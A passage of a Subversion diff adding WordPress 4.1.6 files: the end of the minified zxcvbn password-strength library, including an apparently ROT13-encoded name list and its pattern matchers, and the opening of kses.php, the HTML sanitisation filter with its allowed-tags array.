yvzrfu,xyvpr,xyrl,xyrccr,xyrzxr,xyrvaznaa,xyrvaunaf,xyrvaoret,xyrssare,xyrpxyrl,xynfr,xvfgb,xvffvpx,xvffryohet,xvefpuzna,xvexf,xvexare,xvexrl,xvepuzna,xvaivyyr,xvaahara,xvzzrl,xvzzreyr,xvzoyrl,xvygl,xvygf,xvyyzrlre,xvyyvyrn,xvyynl,xvrfg,xvrepr,xvrcreg,xvryzna,xunyvq,xrjny,xrfmyre,xrffba,xrfvpu,xrejbbq,xrexfvrx,xrexubss,xreob,xrenara,xrbzhnatgnv,xragre,xraaryyrl,xravel,xraqmvrefxv,xrzcare,xrzzvf,xrzreyvat,xryfnl,xrypuare,xryn,xrvguyl,xrvcr,xrtt,xrre,xrnurl,xnljbbq,xnlrf,xnjnunen,xnfhobfxv,xnfgraqvrpx,xnffva,xnfcemlx,xneenxre,xneabsfxv,xnezna,xnetre,xnetr,xneryyn,xneobjfxv,xnccunua,xnaary,xnzengu,xnzvare,xnznafxl,xnyhn,xnygm,xnycnxbss,xnyxoeraare,xnxh,xnvo,xnruyre,xnpxyrl,xnore,whfgb,whevf,whevpu,whetrafba,wherm,whabe,whavry,whapxre,whtb,whoreg,wbjryy,wbinabivp,wbbfgra,wbapnf,wbzn,wbuafb,wbunaaf,wbqbva,wbpxref,wbnaf,wvajevtug,wvararm,wvzrfba,wreergg,wretraf,wreqra,wreqrr,wrccrefba,wraqenf,wrnasenapbvf,wnmjn,wnhffv,wnfgre,wnembzorx,wnerapvb,wnabpun,wnxno,wnqybjvrp,wnpbofzn,wnpu,vmndhveer,vjnbxn,vinfxn,vgheor,vfenryfba,vfyrf,vfnpufra,vfnnx,veynaq,vamrevyyb,vafbtan,vatrtarev,vatnyfor,vapvbat,vantnxv,vprabtyr,ulrgg,ulref,uhlpx,uhggv,uhggra,uhganx,uhffne,uheeyr,uhesbeq,uheqr,uhccre,uhaxva,uhaxryr,uhaxr,uhznaa,uhugnfnnev,uhtry,uhssg,uhrtry,uebofxl,uera,ublyrf,ubifrcvna,ubiratn,ubinggre,ubhqrx,ubgmr,ubffyre,ubffsryq,ubffrvav,ubegra,ubeg,ubee,ubetra,ubera,ubbcvv,ubba,ubbtynaq,ubagm,ubaabyq,ubzrjbbq,ubyjnl,ubygterjr,ubygna,ubyfgebz,ubyfgrtr,ubyyjnl,ubyyvatfurq,ubyyraonpx,ubyyneq,ubyoregba,ubvarf,ubtrynaq,ubsfgnq,ubrgtre,ubra,ubntyhaq,uvebgn,uvagrezrvfgre,uvaara,uvaqref,uvaqrere,uvapurr,uvzrysneo,uvzore,uvymre,uvyyvat,uvyyref,uvyyrtnf,uvyqvatre,uvtavtug,uvtuzna,uvreubymre,urlqr,urggvpu,urfxrgu,uremsryq,uremre,urefurafba,urefuoret,ureanaqb,urezrartvyqb,urergu,urereen,urerqn,ureova,urengl,ureneq,urcn,urafpury,uraevpufra,uraarf,uraaroretre,uravatohet,uravt,uraqeba,uraqrevpxf,urzcyr,urzcr,urzzvatfra,urzyre,uryivr,uryzyl,uryzoerpug,uryvat,uryva,uryserl,uryoyr,urynver,urvmzna,urvffre,urval,urvaonhtu,urvqrznaa,urvqrzn,urvoretre,urtry,urreqg,urrt,urrsare,urpxrezna,urpxraqbes,urniva,urnqzna,unlarfjbegu,unlybpx,unlnxnjn,unjxfyrl,unirefgvpx,unhg,unhfra,unhxr,unhobyq,unggna,unggnonhtu,unffgrqg,unfurz,unfryubefg,uneevfg,unecfg,unebyqfra,unezvfba,unexrzn,unevfba,unevev,unephf,unephz,unepunevx,unamry,unairl,unagm,unafpur,unaforetre,unaavt,unaxra,unauneqg,unas,unanhre,unzoreyva,unyjneq,unyfnyy,unyf,unyydhvfg,unyyzba,unyx,unyonpu,unyng,unwqnf,unvafjbegu,unvx,unuz,unttre,unttne,unqre,unqry,unqqvpx,unpxznaa,unnfpu,unns,thmmrggn,thml,thggrezna,thgznaa,thgxbjfxv,thfgvar,thefxl,theare,thafbyyrl,thzcreg,thyyn,thvyznva,thvyvnav,thvre,thref,threreb,threran,thronen,thnqvnan,tehaqre,tebgubss,tebfynaq,tebfu,tebbf,tebuf,tebuznaa,tebrccre,tebqv,tevmmnssv,tevffvatre,tevccv,tevaqr,tevssrr,tergure,teravatre,tervtb,tertbefxv,tertre,tertn,terraoretre,tenmn,tenggna,tenffr,tenab,tenzol,tenqvyyn,tbiva,tbhgerzbhg,tbhynf,tbgnl,tbfyvat,tberl,tbeqare,tbbffra,tbbqjngre,tbamntn,tbalb,tbafxn,tbatnyirf,tbzvyyvba,tbzobf,tbybaxn,tbyyzna,tbyqgenc,tbyqnzzre,tbynf,tbyno,tbyn,tbtna,tbsszna,tbrccvatre,tbqxva,tbqrggr,tyber,tybzo,tynhare,tynffrl,tynfare,tvivqra,tvhssevqn,tvfuny,tvbinaryyv,tvabmn,tvaaf,tvaqyrfcretre,tvaquneg,tvyyrz,tvytre,tvttrl,tvroare,tvoofba,tvnpbzb,tvnpbybar,tvnppbar,tvnppuvab,turer,tureneqvav,tureneqv,tsryyre,trggf,trejvgm,treiva,trefgyr,tresva,trerzvn,trepnx,trare,trapneryyv,trueba,trueznaa,trssref,trrel,trngre,tnjyvx,tnhqvab,tnefvn,tneenuna,tneenoenag,tnebsbyb,tnevtyvnab,tnesvaxyr,tneryvpx,tneqbpxv,tnensbyn,tnccn,tnagare,tnagure,tnatryubss,tnzneen,tnyfgnq,tnyyl,tnyyvx,tnyyvre,tnyvzon,tnyv,tnynffv,tnvtr,tnqfol,tnoova,tnonx,slnyy,shearl,sharm,shyjvqre,shyfba,shxhantn,shwvxnjn,shtrer,shregrf,shqn,selfba,sehzc,sebguvatunz,sebavat,sebapvyyb,sebuyvat,seboret,sebngf,sevgpuzna,sevfpur,sevrqevpufra,sevrqznaa,sevqqryy,sevq,serfpu,seragmry,serab,serybj,servzhgu,servqry,serruna,serrol,serrohea,serqvrh,serqrevxfra,serqrra,senmryy,senlfre,sengmxr,senggvav,senamr,senavpu,senaprfpba,senzre,sentzna,senpx,sbkr,sbjyfgba,sbforet,sbegan,sbeangneb,sbeqra,sbbgf,sbbql,sbtg,sbtyvn,sbtregl,sbtryfba,syltner,sybjr,syvaare,syrz,syngu,syngre,synunira,synq,swryq,svgnavqrf,svfgyre,svfuonhtu,svefpuvat,svamry,svavpny,svatne,svybfn,svyvprggv,svyol,svrefg,svreen,svpxyra,svpure,srefare,sreehsvab,sreehppv,sreb,sreyraqn,srexb,sretrefgebz,sretr,sragl,srag,sraavzber,sraqg,srzng,sryhk,sryzna,sryqunhf,srvfgunzry,srvwbb,srvregnt,sruezna,sruy,srrmryy,srronpx,srqvtna,srqqre,srpuare,srnel,snlfba,snlybe,snhgrhk,snhfgvav,snher,snhpv,snhore,snggvt,sneehttvb,sneeraf,snenpv,snagvav,snagva,snaab,snaavatf,snavry,snyynj,snyxre,snyxrauntra,snwra,snueare,snory,snonpure,rlgpurfba,rlfgre,rksbeq,rkry,rirggf,rirafgnq,rinaxb,rherfgv,rhore,rgpvggl,rfgyre,rffare,rffvatre,rfcynva,rfcrafunqr,rfcnvyyng,rfpevonab,rfpbepvn,reevatgba,reergg,reeren,reynatre,reraevpu,rerxfba,reore,ragvatre,rafjbegu,rafryy,raab,raara,ratyva,ratoybz,ratorefba,rapvavnf,ranzn,rzry,rymvr,ryfoerr,ryzna,ryyroenpug,ryxna,rysfgebz,ryrefba,ryrnmre,ryrnz,ryqevtr,rypbpx,rvafcnue,rvxr,rvqfpuha,rvpxzna,rvpuryr,rvpur,ruyxr,rthpuv,rttvax,rqbhneq,rqtruvyy,rpxrf,royva,rooregf,rnirafba,rneiva,rneqyrl,rntba,rnqre,qmhonx,qlyyn,qlpxzna,qjver,qhgebj,qhgvyr,qhfmn,qhfgzna,qhfvat,qhelrr,qhehcna,qhegfpuv,qhegfpur,qheryy,qhaal,qhaartna,qhaxra,qhzz,qhynx,qhxre,qhxrybj,qhsbeg,qhsvyub,qhssrr,qhrgg,qhrpx,qhqmvafxv,qhqnfvx,qhpxjnyy,qhpurzva,qhoebj,qhovf,qhovpxv,qhon,qehfg,qehpxzna,qevaara,qerjrgg,qerjry,qervgmyre,qerpxzna,qenccb,qenssra,qenonag,qblra,qbjqvat,qbho,qbefba,qbefpuare,qbeevatgba,qbearl,qbeznvre,qbess,qbepl,qbatrf,qbaryyl,qbary,qbznathr,qbyf,qbyynuvgr,qbyrfr,qbyqb,qbvyrl,qbuezna,qbua,qbural,qbprgv,qboel,qboevafxv,qborl,qvivapramb,qvfpuvatre,qvehffb,qvebppb,qvcvnab,qvbc,qvavggb,qvaruneg,qvzfqnyr,qvzvavpu,qvznynagn,qvyynibh,qvyryyb,qvshfpb,qvssrl,qvssraqresre,qvssrr,qvsryvpr,qvsnovb,qvrgmzna,qvrgrzna,qvrcraoebpx,qvrpxznaa,qvpnzcyv,qvonev,qvnmqryrba,qvnyyb,qrjvgm,qrjvry,qribyy,qriby,qrivaprag,qrivre,qriraqbes,qrinyx,qrggra,qrgentyvn,qrgubznf,qrgrzcyr,qrfyre,qrfuneanvf,qrfnagl,qrebppb,qrezre,qrexf,qrevgb,qreunzzre,qrenarl,qrdhnggeb,qrcnff,qrcnqhn,qralrf,qralre,qragvab,qrayvatre,qrarny,qrzbel,qrzbcbhybf,qrzbagvtal,qrzbagr,qrzrmn,qryfby,qryebffb,qrycvg,qrycncn,qrybhvfr,qrybar,qryb,qryzhaqb,qryzber,qryyncnbyren,qrysva,qrysvreeb,qryrbaneqvf,qryravpx,qrypneyb,qrypnzcb,qrypnzc,qrynjlre,qrynebpn,qrynyhm,qrynuhag,qrynthneqvn,qrxrlfre,qrxnl,qrwnrtre,qrwnpxbzr,qrunl,qrunff,qrtenssraevrq,qrtrauneg,qrtna,qrrire,qrrqevpx,qrpxryonhz,qrpuvpb,qrprppb,qrpnfnf,qroebpx,qroban,qrornhzbag,qroneebf,qronpn,qrnezber,qrnatryhf,qrnyzrvqn,qnjbbq,qniarl,qnhqg,qngev,qnfthcgn,qneevat,qneenpbgg,qnephf,qnbhq,qnafohel,qnaaryf,qnavryfxv,qnarul,qnaprl,qnzbhe,qnzoen,qnypbhe,qnuyurvzre,qnqvfzna,qnphagb,qnpnznen,qnor,plehyvx,plcureg,pjvx,phffra,pheyrf,phevg,pheol,pheob,phanf,phaneq,phanana,phzcgba,phypnfv,phpvabggn,phppb,pfhonx,pehguveq,pehzjryy,pehzzvgg,pehzrql,pebhgunzry,pebapr,pebznpx,pevfnsv,pevzva,perfgb,perfpramb,perzbarfr,perrqba,penaxfunj,pbmmraf,pbiny,pbhegjevtug,pbhepryyr,pbhcynaq,pbhavuna,pbhyyneq,pbgeryy,pbftenir,pbearyvb,pbevfu,pbeqbhn,pbeovg,pbccrefzvgu,pbbasvryq,pbaivyyr,pbageryy,pbagragb,pbafre,pbaebq,pbaabyr,pbatebir,pbarel,pbaqenl,pbyire,pbygzna,pbysyrfu,pbypbeq,pbynivgb,pbyne,pbvyr,pbttna,pbrara,pbqyvat,pbqn,pbpxebsg,pbpxery,pbpxrevyy,pbppn,pboreyrl,pybhqra,pybf,pyvfu,pyvaxfpnyr,pyrfgre,pynzzre,pvggnqvab,pvgenab,pverfv,pvyyvf,pvppneryyv,pvobebjfxv,pvneyb,pvneqhyyb,puevggba,pubcc,puvepb,puvypbng,purinevr,purfynx,pureanx,punl,punggrewrr,punggra,pungntavre,punfgva,puncchvf,punaarl,punzcynva,punyhcfxl,punysva,punssre,punqrx,punqqregba,prfgbar,prfgreb,prfgnev,preebf,prezrab,pragbyn,prqebar,pnlbhrggr,pnina,pninyvreb,pnfhfr,pnfgevpbar,pnfgberab,pnfgra,pnfgnanqn,pnfgntabyn,pnffgriraf,pnffnabin,pnfcnev,pnfure,pnfungg,pnfpb,pnfnffn,pnfnq,pneivyyr,pnegynaq,pnegrtran,pnefrl,pnefra,pneevab,pneevyb,pnecvagrleb,pnezyrl,pneyfgba,pneyffba,pnevqqv,pnevpbsr,pnery,pneql,pneqhppv,pneol,pnenatryb,pncevbggv,pncevn,pncenevb,pncryb,pnahy,pnaghn,pnagybj,pnaal,pnatvnybfv,pnarcn,pnaqynaq,pnzcbyb,pnzcv,pnzbef,pnzvab,pnzsvryq,pnzryb,pnznereb,pnznrub,pnyinab,pnyyvfgr,pnyqneryyn,pnyphgg,pnypnab,pnvffvr,pntre,pnppnzb,pnobgntr,pnooyr,olzna,ohmol,ohgxbjfxv,ohffyre,ohfvpb,ohfubivfxl,ohfova,ohfneq,ohfnynppuv,ohegzna,oheebhf,oheevqtr,oheere,oheab,oheva,ohetrggr,oheqbpx,oheqvre,ohepxuneq,ohagra,ohatnl,ohaqntr,ohzol,ohygrzn,ohyvafxv,ohyna,ohxunev,ohtnafxv,ohrexyr,ohra,ohruy,ohqmlafxv,ohpxunz,oelx,oelqba,oehlrer,oehafibyq,oehaargg,oehaxre,oehasvryq,oehzoyr,oehr,oebmvan,oebffzna,oebfrl,oebbxraf,oebrefzn,oebqevpx,oebpxzrvre,oebpxubhfr,oevfxl,oevaxyl,oevaprsvryq,oevturagv,oevtnagr,oevrab,oevrqr,oevqraonhtu,oevpxrgg,oerfxr,oerare,oerapuyrl,oervgxerhgm,oervgoneg,oervfgre,oervavat,oervtuare,oervqry,oeruba,oerural,oerneq,oernxryy,oenmvyy,oenlzvyyre,oenhz,oenh,oenfunj,oenafbz,oenaqbyvab,oenapngb,oenantna,oenss,oenqvat,oenpxre,oenpxraohel,oenpure,oennfpu,oblyra,oblqn,oblnagba,objyhf,objqvgpu,obhgbg,obhguvyyrggr,obhefvdhbg,obhewbyyl,obherg,obhyrevpr,obhre,obhpuvyyba,obhpuvr,obggva,obgrvyub,obfxb,obfnpx,obelf,obef,obeyn,obewba,obetuv,obenu,obbgra,obber,obahm,obaar,obatref,obargn,obanjvgm,obanaav,obzre,obyyra,obyyneq,obyyn,obyvb,obvffrnh,obvrf,obvnav,obubedhrm,obtubffvna,obrfcsyht,obrfre,obruy,obrtry,obqevpx,obqxvaf,obqrafgrva,obqryy,obpxbire,obppv,oboof,obnyf,obnua,obnqjnl,oyhzn,oyhrgg,oybbe,oybzxre,oyriraf,oyrgura,oyrrpxre,oynlarl,oynfxr,oynfrggv,oynapnf,oynpxare,owbexdhvfg,owrex,ovmho,ovfbab,ovftrf,ovfnvyyba,ovee,oveavr,overf,oveqgnvy,oveqvar,ovan,ovyybpx,ovyyvatre,ovyyvt,ovyyrg,ovtjbbq,ovtnyx,ovryvpxv,ovqqvpx,ovpphz,ovnsber,ountng,ormn,orlnu,orivre,oriryy,orhgr,orgmre,orggunhfre,orgunl,orguneq,orfunj,oregubys,oregryf,oreevqtr,oreabg,oreangu,oreanorv,orexfba,orexbivgm,orexvpu,oretfgra,oretrg,orermal,oreqva,orbhture,oraguva,oraunvz,orarangv,orarwna,orzvff,orybngr,oryyhppv,oryybggv,oryyvat,oryyvqb,oryynver,oryynsvber,orxvaf,orxryr,orvfu,oruaxra,orreyl,orqqb,orpxrg,orpxr,orornh,ornhpunvar,ornhpntr,ornqyvat,ornpure,onmne,onlfzber".split(","))),
+o("user_inputs",I)];B=v.concat([function(b){var a,d,c,e,f,g,h,i,j,k,l,m,p,n,o,q;f=[];o=R(T(b));j=0;for(m=o.length;j<m;j++){g=o[j];if(Q(g))break;k=0;for(p=v.length;k<p;k++){c=v[k];e=W(b,g);q=c(e);l=0;for(n=q.length;l<n;l++)if(c=q[l],i=b.slice(c.i,+c.j+1||9E9),i.toLowerCase()!==c.matched_word){e={};for(h in g)a=g[h],-1!==i.indexOf(h)&&(e[h]=a);c.l33t=!0;c.token=i;c.sub=e;i=c;var C=void 0,C=[];for(d in e)a=e[d],C.push(""+d+" -> "+a);i.sub_display=C.join(", ");f.push(c)}}}return f},function(b){var a,
+d,c,e,f,g;f=q(b,P);g=[];c=0;for(e=f.length;c<e;c++)a=f[c],d=[a.i,a.j],a=d[0],d=d[1],g.push({pattern:"digits",i:a,j:d,token:b.slice(a,+d+1||9E9)});return g},function(b){var a,d,c,e,f,g;f=q(b,X);g=[];c=0;for(e=f.length;c<e;c++)a=f[c],d=[a.i,a.j],a=d[0],d=d[1],g.push({pattern:"year",i:a,j:d,token:b.slice(a,+d+1||9E9)});return g},function(b){return N(b).concat(M(b))},function(b){var a,d,c;c=[];for(a=0;a<b.length;){for(d=a+1;;)if(b.slice(d-1,+d+1||9E9),b.charAt(d-1)===b.charAt(d))d+=1;else{2<d-a&&c.push({pattern:"repeat",
+i:a,j:d-1,token:b.slice(a,d),repeated_char:b.charAt(a)});break}a=d}return c},function(b){var a,d,c,e,f,g,h,i,j,k,l,m,n;i=[];for(f=0;f<b.length;){g=f+1;m=n=j=null;for(l in x)if(k=x[l],c=function(){var c,d,e,h;e=[b.charAt(f),b.charAt(g)];h=[];c=0;for(d=e.length;c<d;c++)a=e[c],h.push(k.indexOf(a));return h}(),e=c[0],c=c[1],-1<e&&-1<c&&(e=c-e,1===e||-1===e)){j=k;n=l;m=e;break}if(j)for(;;)if(e=b.slice(g-1,+g+1||9E9),h=e[0],d=e[1],c=function(){var b,c,e,f;e=[h,d];f=[];b=0;for(c=e.length;b<c;b++)a=e[b],
+f.push(k.indexOf(a));return f}(),e=c[0],c=c[1],c-e===m)g+=1;else{2<g-f&&i.push({pattern:"sequence",i:f,j:g-1,token:b.slice(f,g),sequence_name:n,sequence_space:j.length,ascending:1===m});break}f=g}return i},function(b){var a,d,c;c=[];for(d in H)a=H[d],z(c,V(b,a,d));return c}]);H={qwerty:F,dvorak:{"!":["`~",null,null,"2@","'\"",null],'"':[null,"1!","2@",",<","aA",null],"#":["2@",null,null,"4$",".>",",<"],$:["3#",null,null,"5%","pP",".>"],"%":["4$",null,null,"6^","yY","pP"],"&":["6^",null,null,"8*",
+"gG","fF"],"'":[null,"1!","2@",",<","aA",null],"(":["8*",null,null,"0)","rR","cC"],")":["9(",null,null,"[{","lL","rR"],"*":["7&",null,null,"9(","cC","gG"],"+":["/?","]}",null,"\\|",null,"-_"],",":"'\",2@,3#,.>,oO,aA".split(","),"-":["sS","/?","=+",null,null,"zZ"],".":",< 3# 4$ pP eE oO".split(" "),"/":"lL,[{,]},=+,-_,sS".split(","),"0":["9(",null,null,"[{","lL","rR"],1:["`~",null,null,"2@","'\"",null],2:["1!",null,null,"3#",",<","'\""],3:["2@",null,null,"4$",".>",",<"],4:["3#",null,null,"5%","pP",
+".>"],5:["4$",null,null,"6^","yY","pP"],6:["5%",null,null,"7&","fF","yY"],7:["6^",null,null,"8*","gG","fF"],8:["7&",null,null,"9(","cC","gG"],9:["8*",null,null,"0)","rR","cC"],":":[null,"aA","oO","qQ",null,null],";":[null,"aA","oO","qQ",null,null],"<":"'\",2@,3#,.>,oO,aA".split(","),"=":["/?","]}",null,"\\|",null,"-_"],">":",< 3# 4$ pP eE oO".split(" "),"?":"lL,[{,]},=+,-_,sS".split(","),"@":["1!",null,null,"3#",",<","'\""],A:[null,"'\"",",<","oO",";:",null],B:["xX","dD","hH","mM",null,null],C:"gG,8*,9(,rR,tT,hH".split(","),
+D:"iI,fF,gG,hH,bB,xX".split(","),E:"oO,.>,pP,uU,jJ,qQ".split(","),F:"yY,6^,7&,gG,dD,iI".split(","),G:"fF,7&,8*,cC,hH,dD".split(","),H:"dD,gG,cC,tT,mM,bB".split(","),I:"uU,yY,fF,dD,xX,kK".split(","),J:["qQ","eE","uU","kK",null,null],K:["jJ","uU","iI","xX",null,null],L:"rR,0),[{,/?,sS,nN".split(","),M:["bB","hH","tT","wW",null,null],N:"tT,rR,lL,sS,vV,wW".split(","),O:"aA ,< .> eE qQ ;:".split(" "),P:".>,4$,5%,yY,uU,eE".split(","),Q:[";:","oO","eE","jJ",null,null],R:"cC,9(,0),lL,nN,tT".split(","),S:"nN,lL,/?,-_,zZ,vV".split(","),
+T:"hH,cC,rR,nN,wW,mM".split(","),U:"eE,pP,yY,iI,kK,jJ".split(","),V:["wW","nN","sS","zZ",null,null],W:["mM","tT","nN","vV",null,null],X:["kK","iI","dD","bB",null,null],Y:"pP,5%,6^,fF,iI,uU".split(","),Z:["vV","sS","-_",null,null,null],"[":["0)",null,null,"]}","/?","lL"],"\\":["=+",null,null,null,null,null],"]":["[{",null,null,null,"=+","/?"],"^":["5%",null,null,"7&","fF","yY"],_:["sS","/?","=+",null,null,"zZ"],"`":[null,null,null,"1!",null,null],a:[null,"'\"",",<","oO",";:",null],b:["xX","dD","hH",
+"mM",null,null],c:"gG,8*,9(,rR,tT,hH".split(","),d:"iI,fF,gG,hH,bB,xX".split(","),e:"oO,.>,pP,uU,jJ,qQ".split(","),f:"yY,6^,7&,gG,dD,iI".split(","),g:"fF,7&,8*,cC,hH,dD".split(","),h:"dD,gG,cC,tT,mM,bB".split(","),i:"uU,yY,fF,dD,xX,kK".split(","),j:["qQ","eE","uU","kK",null,null],k:["jJ","uU","iI","xX",null,null],l:"rR,0),[{,/?,sS,nN".split(","),m:["bB","hH","tT","wW",null,null],n:"tT,rR,lL,sS,vV,wW".split(","),o:"aA ,< .> eE qQ ;:".split(" "),p:".>,4$,5%,yY,uU,eE".split(","),q:[";:","oO","eE","jJ",
+null,null],r:"cC,9(,0),lL,nN,tT".split(","),s:"nN,lL,/?,-_,zZ,vV".split(","),t:"hH,cC,rR,nN,wW,mM".split(","),u:"eE,pP,yY,iI,kK,jJ".split(","),v:["wW","nN","sS","zZ",null,null],w:["mM","tT","nN","vV",null,null],x:["kK","iI","dD","bB",null,null],y:"pP,5%,6^,fF,iI,uU".split(","),z:["vV","sS","-_",null,null,null],"{":["0)",null,null,"]}","/?","lL"],"|":["=+",null,null,null,null,null],"}":["[{",null,null,null,"=+","/?"],"~":[null,null,null,"1!",null,null]},keypad:G,mac_keypad:{"*":["/",null,null,null,
+null,null,"-","9"],"+":["6","9","-",null,null,null,null,"3"],"-":["9","/","*",null,null,null,"+","6"],".":["0","2","3",null,null,null,null,null],"/":["=",null,null,null,"*","-","9","8"],"0":[null,"1","2","3",".",null,null,null],1:[null,null,"4","5","2","0",null,null],2:["1","4","5","6","3",".","0",null],3:["2","5","6","+",null,null,".","0"],4:[null,null,"7","8","5","2","1",null],5:"4,7,8,9,6,3,2,1".split(","),6:["5","8","9","-","+",null,"3","2"],7:[null,null,null,"=","8","5","4",null],8:["7",null,
+"=","/","9","6","5","4"],9:"8,=,/,*,-,+,6,5".split(","),"=":[null,null,null,null,"/","9","8","7"]}};o=function(b){var a,d,c,e,f;a=0;for(c in b)f=b[c],a+=function(){var a,b,c;c=[];a=0;for(b=f.length;a<b;a++)(e=f[a])&&c.push(e);return c}().length;return a/=function(){var a;a=[];for(d in b)a.push(d);return a}().length};qa=o(F);sa=o(G);pa=function(){var b;b=[];for(w in F)b.push(w);return b}().length;ra=function(){var b;b=[];for(w in G)b.push(w);return b}().length;J=function(){return(new Date).getTime()};
+o=function(b,a){var d,c,e,f;c=J();if(null!=a){d=e=0;for(f=a.length;0<=f?e<f:e>f;d=0<=f?++e:--e)I[u(a[d].toLowerCase())]=d+1}d=S(b);d=ka(b,d);d.calc_time=J()-c;return d};"undefined"!==typeof window&&null!==window?(window.zxcvbn=o,"function"===typeof window.zxcvbn_load_hook&&window.zxcvbn_load_hook()):"undefined"!==typeof exports&&null!==exports&&(exports.zxcvbn=o)})();
Index: /tags/4.1.6/src/wp-includes/kses.php
===================================================================
--- /tags/4.1.6/src/wp-includes/kses.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/kses.php	(revision 33402)
@@ -0,0 +1,1737 @@
+<?php
+/**
+ * kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes
+ * Copyright (C) 2002, 2003, 2005  Ulf Harnhammar
+ *
+ * This program is free software and open source software; you can redistribute
+ * it and/or modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the License,
+ * or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ * http://www.gnu.org/licenses/gpl.html
+ *
+ * [kses strips evil scripts!]
+ *
+ * Added wp_ prefix to avoid conflicts with existing kses users
+ *
+ * @version 0.2.2
+ * @copyright (C) 2002, 2003, 2005
+ * @author Ulf Harnhammar <http://advogato.org/person/metaur/>
+ *
+ * @package External
+ * @subpackage KSES
+ *
+ */
+
+/**
+ * You can override this in a plugin.
+ *
+ * The wp_kses_allowed_html filter is more powerful and supplies context.
+ * CUSTOM_TAGS is not recommended and should be considered deprecated.
+ *
+ * @see wp_kses_allowed_html()
+ *
+ * @since 1.2.0
+ */
+if ( ! defined( 'CUSTOM_TAGS' ) )
+	define( 'CUSTOM_TAGS', false );
+
+// Ensure that these variables are added to the global namespace
+// (e.g. if using namespaces / autoload in the current PHP environment).
+global $allowedposttags, $allowedtags, $allowedentitynames;
+
+if ( ! CUSTOM_TAGS ) {
+	/**
+	 * Kses global for default allowable HTML tags.
+	 *
+	 * Can be override by using CUSTOM_TAGS constant.
+	 *
+	 * @global array $allowedposttags
+	 * @since 2.0.0
+	 */
+	$allowedposttags = array(
+		'address' => array(),
+		'a' => array(
+			'href' => true,
+			'rel' => true,
+			'rev' => true,
+			'name' => true,
+			'target' => true,
+		),
+		'abbr' => array(),
+		'acronym' => array(),
+		'area' => array(
+			'alt' => true,
+			'coords' => true,
+			'href' => true,
+			'nohref' => true,
+			'shape' => true,
+			'target' => true,
+		),
+		'article' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'aside' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'audio' => array(
+			'autoplay' => true,
+			'controls' => true,
+			'loop' => true,
+			'muted' => true,
+			'preload' => true,
+			'src' => true,
+		),
+		'b' => array(),
+		'big' => array(),
+		'blockquote' => array(
+			'cite' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'br' => array(),
+		'button' => array(
+			'disabled' => true,
+			'name' => true,
+			'type' => true,
+			'value' => true,
+		),
+		'caption' => array(
+			'align' => true,
+		),
+		'cite' => array(
+			'dir' => true,
+			'lang' => true,
+		),
+		'code' => array(),
+		'col' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'span' => true,
+			'dir' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'colgroup' => array(
+			'align' => true,
+			'char' => true,
+			'charoff' => true,
+			'span' => true,
+			'valign' => true,
+			'width' => true,
+		),
+		'del' => array(
+			'datetime' => true,
+		),
+		'dd' => array(),
+		'dfn' => array(),
+		'details' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'open' => true,
+			'xml:lang' => true,
+		),
+		'div' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'dl' => array(),
+		'dt' => array(),
+		'em' => array(),
+		'fieldset' => array(),
+		'figure' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'figcaption' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'font' => array(
+			'color' => true,
+			'face' => true,
+			'size' => true,
+		),
+		'footer' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'form' => array(
+			'action' => true,
+			'accept' => true,
+			'accept-charset' => true,
+			'enctype' => true,
+			'method' => true,
+			'name' => true,
+			'target' => true,
+		),
+		'h1' => array(
+			'align' => true,
+		),
+		'h2' => array(
+			'align' => true,
+		),
+		'h3' => array(
+			'align' => true,
+		),
+		'h4' => array(
+			'align' => true,
+		),
+		'h5' => array(
+			'align' => true,
+		),
+		'h6' => array(
+			'align' => true,
+		),
+		'header' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'hgroup' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'hr' => array(
+			'align' => true,
+			'noshade' => true,
+			'size' => true,
+			'width' => true,
+		),
+		'i' => array(),
+		'img' => array(
+			'alt' => true,
+			'align' => true,
+			'border' => true,
+			'height' => true,
+			'hspace' => true,
+			'longdesc' => true,
+			'vspace' => true,
+			'src' => true,
+			'usemap' => true,
+			'width' => true,
+		),
+		'ins' => array(
+			'datetime' => true,
+			'cite' => true,
+		),
+		'kbd' => array(),
+		'label' => array(
+			'for' => true,
+		),
+		'legend' => array(
+			'align' => true,
+		),
+		'li' => array(
+			'align' => true,
+			'value' => true,
+		),
+		'map' => array(
+			'name' => true,
+		),
+		'mark' => array(),
+		'menu' => array(
+			'type' => true,
+		),
+		'nav' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'p' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'pre' => array(
+			'width' => true,
+		),
+		'q' => array(
+			'cite' => true,
+		),
+		's' => array(),
+		'samp' => array(),
+		'span' => array(
+			'dir' => true,
+			'align' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'section' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
+		),
+		'small' => array(),
+		'strike' => array(),
+		'strong' => array(),
+		'sub' => array(),
+		'summary' => array(
+			'align' => true,
+			'dir' => true,
+			'lang' => true,
+			'xml:lang' => true,
